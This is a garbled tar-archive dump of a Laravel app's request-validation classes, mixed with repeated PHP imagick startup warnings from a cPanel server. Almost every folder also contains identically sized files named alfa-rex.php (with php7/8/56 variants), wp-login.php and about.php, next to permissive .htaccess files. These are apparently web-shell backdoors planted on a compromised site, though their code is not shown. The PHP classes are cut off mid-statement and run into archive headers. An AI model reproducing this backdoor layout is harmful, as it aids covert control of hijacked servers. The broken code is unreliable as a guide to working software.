/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/alfa-rex.php000064400000026574150325104510007705 0ustar00Http/.htaccess000064400000000544150325104510007260 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/alfa-rex.php7000064400000026574150325104510007774 0ustar00Http/alfa-rex.php8000064400000026574150325104510007775 0ustar00Http/wp-login.php000064400000026574150325104510007742 0ustar00Http/Requests/alfa-rex.php000064400000026574150325104510011520 0ustar00Http/Requests/StoreEstimateRequest.php000064400000001754150325104510014153 0ustar00merge([ 'description' => trim_editor($this->description) ]); } /** * Get the validation rules that apply to the request. * * @return array|string> */ public function rules(): array { return [ 'client_id' => 'required', 'description' => 'required', 'currency_id' => 'required|integer', ]; } public function attributes() { return [ 'client_id' => __('app.client'), 'currency_id' => __('app.currency'), ]; } } Http/Requests/StoreEstimate.php000064400000003522150325104510012575 0ustar00estimate_number && is_numeric($this->estimate_number)) { $this->merge([ 'estimate_number' => \App\Helper\NumberFormat::estimate($this->estimate_number), ]); } } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'estimate_number' => [ 'required', /** @phpstan-ignore-next-line */ Rule::unique('estimates')->where('company_id', company()->id) ->when($this->route('estimate'), function ($q) { /** @phpstan-ignore-next-line */ $q->where('id', '<>', $this->route('estimate')); }) ], 'client_id' => 'required', 'valid_till' => 'required', 'sub_total' => 'required', 'total' => 'required', 'currency_id' => 'required' ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } public function messages() { return [ 'client_id.required' => __('modules.projects.selectClient') ]; } } Http/Requests/UpdatePrefixSetting.php000064400000002644150325104510013747 0ustar00 */ public function rules() { $rules = []; if(in_array('invoices', user_modules())){ $rules['invoice_prefix'] = 'required'; $rules['credit_note_prefix'] = 'required'; $rules['invoice_digit'] = 'nullable|integer|min:0|max:10'; $rules['credit_note_digit'] = 'nullable|integer|min:0|max:10'; } if(in_array('estimates', user_modules())){ $rules['estimate_prefix'] = 'required'; $rules['estimate_digit'] = 'nullable|integer|min:0|max:10'; $rules['estimate_request_prefix'] = 'required'; $rules['estimate_request_digit'] = 'nullable|integer|min:0|max:10'; } if(in_array('orders', user_modules())){ $rules['order_prefix'] = 'required'; $rules['order_digit'] = 'nullable|integer|min:0|max:10'; } $rules['proposal_prefix'] = 'required'; $rules['proposal_digit'] = 'nullable|integer|min:0|max:10'; return $rules; } } Http/Requests/DiscussionCategory/alfa-rex.php000064400000026574150325104510015341 0ustar00Http/Requests/DiscussionCategory/.htaccess000064400000000544150325104510014714 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/DiscussionCategory/alfa-rex.php7000064400000026574150325104510015430 0ustar00Http/Requests/DiscussionCategory/alfa-rex.php8000064400000026574150325104510015431 0ustar00Http/Requests/DiscussionCategory/wp-login.php000064400000026574150325104510015376 0ustar00Http/Requests/DiscussionCategory/alfa-rex.php56000064400000026574150325104510015514 0ustar00Http/Requests/DiscussionCategory/about.php000064400000026574150325104510014754 0ustar00Http/Requests/DiscussionCategory/StoreRequest.php000064400000001176150325104510016276 0ustar00 'required|unique:discussion_categories,name,null,id,company_id,' . company()->id, 'color' => 'required' ]; } } Http/Requests/DiscussionCategory/error_log000064400000001626150325104510015035 0ustar00[04-Jul-2025 14:08:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:28:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/DiscussionCategory/about.php7000064400000026574150325104510015043 0ustar00Http/Requests/DiscussionCategory/UpdateRequest.php000064400000001311150325104510016413 0ustar00has('name')) { return [ 'name' => 'required|unique:discussion_categories,name,' . $this->route('discussion_category').',id,company_id,' . company()->id, ]; } return []; } } Http/Requests/ProjectSetting/alfa-rex.php000064400000026574150325104510014464 0ustar00Http/Requests/ProjectSetting/.htaccess000064400000000544150325104510014037 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ProjectSetting/UpdateProjectSetting.php000064400000001352150325104510017057 0ustar00 'sometimes|required', 'remind_to' => 'required_with:send_reminder', 'remind_time' => 'required|integer|min:1', 'remind_type' => ['required', Rule::in(['days'])] ]; } } Http/Requests/ProjectSetting/alfa-rex.php7000064400000026574150325104510014553 0ustar00Http/Requests/ProjectSetting/alfa-rex.php8000064400000026574150325104510014554 0ustar00Http/Requests/ProjectSetting/wp-login.php000064400000026574150325104510014521 0ustar00Http/Requests/ProjectSetting/alfa-rex.php56000064400000026574150325104510014637 0ustar00Http/Requests/ProjectSetting/about.php000064400000026574150325104510014077 0ustar00Http/Requests/ProjectSetting/error_log000064400000001626150325104510014160 0ustar00[04-Jul-2025 14:07:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ProjectSetting/about.php7000064400000026574150325104510014166 0ustar00Http/Requests/Leaves/alfa-rex.php000064400000026574150325104510012737 0ustar00Http/Requests/Leaves/UpdateLeave.php000064400000001110150325104510013412 0ustar00 'required', 'leave_type_id' => 'required', 'reason' => 'required' ]; } } Http/Requests/Leaves/.htaccess000064400000000544150325104510012312 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Leaves/alfa-rex.php7000064400000026574150325104510013026 0ustar00Http/Requests/Leaves/StoreLeave.php000064400000001556150325104510013302 0ustar00 'required', 'leave_type_id' => 'required', 'duration' => 'required', 'leave_date' => 'required_if:duration,single', 'multi_date' => 'required_if:duration,multiple', 'reason' => 'required' ]; } public function attributes() { return [ 'leave_type_id' => __('modules.leaves.leaveType'), ]; } } Http/Requests/Leaves/alfa-rex.php8000064400000026574150325104510013027 0ustar00Http/Requests/Leaves/wp-login.php000064400000026574150325104510012774 0ustar00Http/Requests/Leaves/alfa-rex.php56000064400000026574150325104510013112 0ustar00Http/Requests/Leaves/ActionLeave.php000064400000001016150325104510013412 0ustar00 'required_if:action,==,rejected' ]; } } Http/Requests/Leaves/about.php000064400000026574150325104510012352 0ustar00Http/Requests/Leaves/error_log000064400000001626150325104510012433 0ustar00[04-Jul-2025 11:26:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:34:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Leaves/about.php7000064400000026574150325104510012441 0ustar00Http/Requests/ProjectTemplate/alfa-rex.php000064400000026574150325104510014622 0ustar00Http/Requests/ProjectTemplate/.htaccess000064400000000544150325104510014175 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ProjectTemplate/alfa-rex.php7000064400000026574150325104510014711 0ustar00Http/Requests/ProjectTemplate/alfa-rex.php8000064400000026574150325104510014712 0ustar00Http/Requests/ProjectTemplate/wp-login.php000064400000026574150325104510014657 0ustar00Http/Requests/ProjectTemplate/alfa-rex.php56000064400000026574150325104510014775 0ustar00Http/Requests/ProjectTemplate/StoreProject.php000064400000001011150325104510015521 0ustar00 'required', ]; } } Http/Requests/ProjectTemplate/about.php000064400000026574150325104510014235 0ustar00Http/Requests/ProjectTemplate/error_log000064400000001626150325104510014316 0ustar00[04-Jul-2025 14:32:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:46:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ProjectTemplate/StoreProjectCategory.php000064400000001021150325104510017220 0ustar00 'required' ]; } } Http/Requests/ProjectTemplate/about.php7000064400000026574150325104510014324 0ustar00Http/Requests/Payments/alfa-rex.php000064400000026574150325104510013320 0ustar00Http/Requests/Payments/ImportPayment.php000064400000001024150325104510014410 0ustar00 'required|mimes:csv,txt' ]; } } Http/Requests/Payments/.htaccess000064400000000544150325104510012673 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Payments/alfa-rex.php7000064400000026574150325104510013407 0ustar00Http/Requests/Payments/alfa-rex.php8000064400000026574150325104510013410 0ustar00Http/Requests/Payments/InvoicePayment.php000064400000001011150325104510014526 0ustar00 'required' ]; } } Http/Requests/Payments/wp-login.php000064400000026574150325104510013355 0ustar00Http/Requests/Payments/alfa-rex.php56000064400000026574150325104510013473 0ustar00Http/Requests/Payments/about.php000064400000026574150325104510012733 0ustar00Http/Requests/Payments/error_log000064400000001626150325104510013014 0ustar00[04-Jul-2025 13:58:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Payments/UpdatePayments.php000064400000002033150325104510014544 0ustar00 'required|numeric|min:1', 'paid_on' => 'required', 'offline_methods' => 'required_if:gateway,==,Offline', ]; if ($this->transaction_id) { // It need to be unique for all the company $rules['transaction_id'] = 'unique:payments,transaction_id,' . $this->route('payment').',id,company_id,' . company()->id; } return $rules; } public function messages() { return [ 'invoice_id.required' => 'Select the invoice you want to add payment for.' ]; } }Http/Requests/Payments/StoreBulkPayments.php000064400000006667150325104510015255 0ustar00 */ public function rules() { $rules = []; $invoiceIds = request()->invoice_number; foreach ($invoiceIds as $index => $invoiceId) { $amount = request()->amount[$index]; $transaction_id = request()->transaction_id[$index]; $gateway = request()->gateway[$index]; $offline_method_id = request()->offline_method_id[$index]; $payment_date = request()->payment_date[$index]; if ($gateway != 'all' && $gateway == 'Offline' && $offline_method_id == null) { $rules['payment_date.'.$index.''] = 'required'; $rules['offline_methods.'.$index.''] = 'required'; $rules['amount.'.$index.''] = 'required'; } elseif ($gateway != 'all' && $gateway != 'Offline') { $rules['payment_date.'.$index.''] = 'required'; $rules['amount.'.$index.''] = 'required'; } if ($gateway != 'all' && $gateway == 'Offline') { $rules['amount.'.$index.''] = 'required'; } if ($gateway == 'all' && (!is_null($amount) || $amount != null)) { $rules['gateway.'.$index.''] = 'required'; } if (is_null($payment_date) || $payment_date == null) { $rules['payment_date.'.$index.''] = 'required'; } } return $rules; } public function messages() { $message = []; $invoiceIds = request()->invoice_number; foreach ($invoiceIds as $index => $invoiceId) { $amount = request()->amount[$index]; $transaction_id = request()->transaction_id[$index]; $gateway = request()->gateway[$index]; $offline_method_id = request()->offline_method_id[$index]; $payment_date = request()->payment_date[$index]; if ($gateway != 'all' && $gateway == 'Offline' && $offline_method_id == null) { $message['payment_date.'.$index.''] = __('messages.invoiceDateError'); $message['offline_methods.'.$index.''] = __('messages.selectOfflineMethod'); $message['amount.'.$index.''] = __('messages.invoicePaymentError'); } elseif ($gateway != 'all' && $gateway != 'Offline') { $message['payment_date.'.$index.''] = __('messages.invoiceDateError'); $message['amount.'.$index.''] = __('messages.invoicePaymentError'); } if ($gateway != 'all' && $gateway == 'Offline') { $message['amount.'.$index.''] = __('messages.invoicePaymentError'); } if ($gateway == 'all' && (!is_null($amount) || $amount != null)) { $message['gateway.'.$index.''] = __('messages.selectGateway'); } if (is_null($payment_date) || $payment_date == null) { $message['payment_date.'.$index.''] = __('messages.invoiceDateError'); } } return $message; } } Http/Requests/Payments/about.php7000064400000026574150325104510013022 0ustar00Http/Requests/Payments/StorePayment.php000064400000003026150325104510014236 0ustar00 'required', 'offline_methods' => 'required_if:gateway,==,Offline', ]; if (request('invoice_id') != '') { $invoice = Invoice::findOrFail(request('invoice_id')); if ($invoice->amountDue() == 0) { $rules['amount'] = 'required|numeric'; } else { $rules['amount'] = 'required|numeric|min:1'; } } else { $rules['amount'] = 'required|numeric|min:1'; } if ($this->transaction_id) { // It need to be unique for all the company $rules['transaction_id'] = 'unique:payments,transaction_id'; } if (request('default_client') != '') { $rules['invoice_id'] = 'required_without:project_id'; $rules['project_id'] = 'required_without:invoice_id'; } return $rules; } public function attributes() { return [ 'invoice_id' => __('app.invoice'), 'project_id' => __('app.project'), ]; } }Http/Requests/PusherSetting/alfa-rex.php000064400000026574150325104510014324 0ustar00Http/Requests/PusherSetting/.htaccess000064400000000544150325104510013677 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/PusherSetting/alfa-rex.php7000064400000026574150325104510014413 0ustar00Http/Requests/PusherSetting/alfa-rex.php8000064400000026574150325104510014414 0ustar00Http/Requests/PusherSetting/wp-login.php000064400000026574150325104510014361 0ustar00Http/Requests/PusherSetting/alfa-rex.php56000064400000026574150325104510014477 0ustar00Http/Requests/PusherSetting/about.php000064400000026574150325104510013737 0ustar00Http/Requests/PusherSetting/error_log000064400000001626150325104510014020 0ustar00[04-Jul-2025 14:34:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:20:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/PusherSetting/about.php7000064400000026574150325104510014026 0ustar00Http/Requests/PusherSetting/UpdateRequest.php000064400000001374150325104510015407 0ustar00get('status') == 'active') { $rules['pusher_app_id'] = 'required'; $rules['pusher_cluster'] = 'required'; $rules['pusher_app_key'] = 'required'; $rules['pusher_app_secret'] = 'required'; } return $rules; } } Http/Requests/Currency/alfa-rex.php000064400000026574150325104510013312 0ustar00Http/Requests/Currency/.htaccess000064400000000544150325104510012665 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Currency/alfa-rex.php7000064400000026574150325104510013401 0ustar00Http/Requests/Currency/alfa-rex.php8000064400000026574150325104510013402 0ustar00Http/Requests/Currency/wp-login.php000064400000026574150325104510013347 0ustar00Http/Requests/Currency/alfa-rex.php56000064400000026574150325104510013465 0ustar00Http/Requests/Currency/StoreCurrencyExchangeKey.php000064400000001153150325104510016520 0ustar00 'required', 'dedicated_subdomain' => 'required_if:currency_key_version,dedicated', ]; } } Http/Requests/Currency/about.php000064400000026574150325104510012725 0ustar00Http/Requests/Currency/error_log000064400000001626150325104510013006 0ustar00[04-Jul-2025 13:58:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Currency/StoreCurrency.php000064400000001516150325104510014407 0ustar00 'required', 'currency_symbol' => 'required', 'no_of_decimal' => 'required', 'usd_price' => 'required_if:is_cryptocurrency,yes', 'exchange_rate' => 'required_if:is_cryptocurrency,no', 'currency_code' => 'required|unique:currencies,currency_code,null,id,company_id,' . company()->id, ]; } } Http/Requests/Currency/UpdateCurrency.php000064400000001510150325104510014527 0ustar00 'required', 'currency_symbol' => 'required', 'usd_price' => 'required_if:is_cryptocurrency,yes', 'exchange_rate' => 'required_if:is_cryptocurrency,no', 'currency_code' => 'required|unique:currencies,currency_code,' . $this->route('currency_setting') . ',id,company_id,' . company()->id, ]; } } Http/Requests/Currency/about.php7000064400000026574150325104510013014 0ustar00Http/Requests/EmployeeShiftChange/alfa-rex.php000064400000026574150325104510015403 0ustar00Http/Requests/EmployeeShiftChange/.htaccess000064400000000544150325104510014756 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/EmployeeShiftChange/alfa-rex.php7000064400000026574150325104510015472 0ustar00Http/Requests/EmployeeShiftChange/alfa-rex.php8000064400000026574150325104510015473 0ustar00Http/Requests/EmployeeShiftChange/wp-login.php000064400000026574150325104510015440 0ustar00Http/Requests/EmployeeShiftChange/alfa-rex.php56000064400000026574150325104510015556 0ustar00Http/Requests/EmployeeShiftChange/about.php000064400000026574150325104510015016 0ustar00Http/Requests/EmployeeShiftChange/error_log000064400000001626150325104510015077 0ustar00[04-Jul-2025 14:43:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:55:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/EmployeeShiftChange/about.php7000064400000026574150325104510015105 0ustar00Http/Requests/EmployeeShiftChange/UpdateRequest.php000064400000001100150325104510016451 0ustar00 'required', 'employee_shift_id' => 'required', ]; } } Http/Requests/Proposal/alfa-rex.php000064400000026574150325104510013317 0ustar00Http/Requests/Proposal/.htaccess000064400000000544150325104510012672 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Proposal/alfa-rex.php7000064400000026574150325104510013406 0ustar00Http/Requests/Proposal/alfa-rex.php8000064400000026574150325104510013407 0ustar00Http/Requests/Proposal/wp-login.php000064400000026574150325104510013354 0ustar00Http/Requests/Proposal/alfa-rex.php56000064400000026574150325104510013472 0ustar00Http/Requests/Proposal/about.php000064400000026574150325104510012732 0ustar00Http/Requests/Proposal/StoreRequest.php000064400000001411150325104510014244 0ustar00format($setting->date_format); return [ 'valid_till' => 'required|date_format:"' . $setting->date_format . '"|after_or_equal:' . $today, 'sub_total' => 'required', 'total' => 'required', 'deal_id' => 'required' ]; } } Http/Requests/Proposal/error_log000064400000001626150325104510013013 0ustar00[04-Jul-2025 13:55:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:58:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Proposal/about.php7000064400000026574150325104510013021 0ustar00Http/Requests/DiscussionReply/alfa-rex.php000064400000026574150325104510014657 0ustar00Http/Requests/DiscussionReply/.htaccess000064400000000544150325104510014232 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/DiscussionReply/alfa-rex.php7000064400000026574150325104510014746 0ustar00Http/Requests/DiscussionReply/alfa-rex.php8000064400000026574150325104510014747 0ustar00Http/Requests/DiscussionReply/wp-login.php000064400000026574150325104510014714 0ustar00Http/Requests/DiscussionReply/alfa-rex.php56000064400000026574150325104510015032 0ustar00Http/Requests/DiscussionReply/about.php000064400000026574150325104510014272 0ustar00Http/Requests/DiscussionReply/StoreRequest.php000064400000001455150325104510015614 0ustar00merge([ 'description' => trim_editor($this->description) ]); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'description' => 'required', ]; } public function attributes() { return [ 'description' => __('app.reply'), ]; } } Http/Requests/DiscussionReply/error_log000064400000001626150325104510014353 0ustar00[04-Jul-2025 14:16:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:46:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/DiscussionReply/about.php7000064400000026574150325104510014361 0ustar00Http/Requests/ClientContracts/alfa-rex.php000064400000026574150325104510014617 0ustar00Http/Requests/ClientContracts/.htaccess000064400000000544150325104510014172 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/ClientContracts/alfa-rex.php7000064400000026574150325104510014706 0ustar00Http/Requests/ClientContracts/SignRequest.php000064400000001463150325104510015357 0ustar00 'required', 'last_name' => 'required', 'email' => 'required|email:rfc,strict', ]; if(request('signature_type') == 'upload'){ $rules['image'] = 'required'; } else { $rules['signature'] = 'required'; } return $rules; } } Http/Requests/ClientContracts/alfa-rex.php8000064400000026574150325104510014707 0ustar00Http/Requests/ClientContracts/wp-login.php000064400000026574150325104510014654 0ustar00Http/Requests/ClientContracts/alfa-rex.php56000064400000026574150325104510014772 0ustar00Http/Requests/ClientContracts/about.php000064400000026574150325104510014232 0ustar00Http/Requests/ClientContracts/error_log000064400000001626150325104510014313 0ustar00[04-Jul-2025 14:39:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:45:58 UTC] 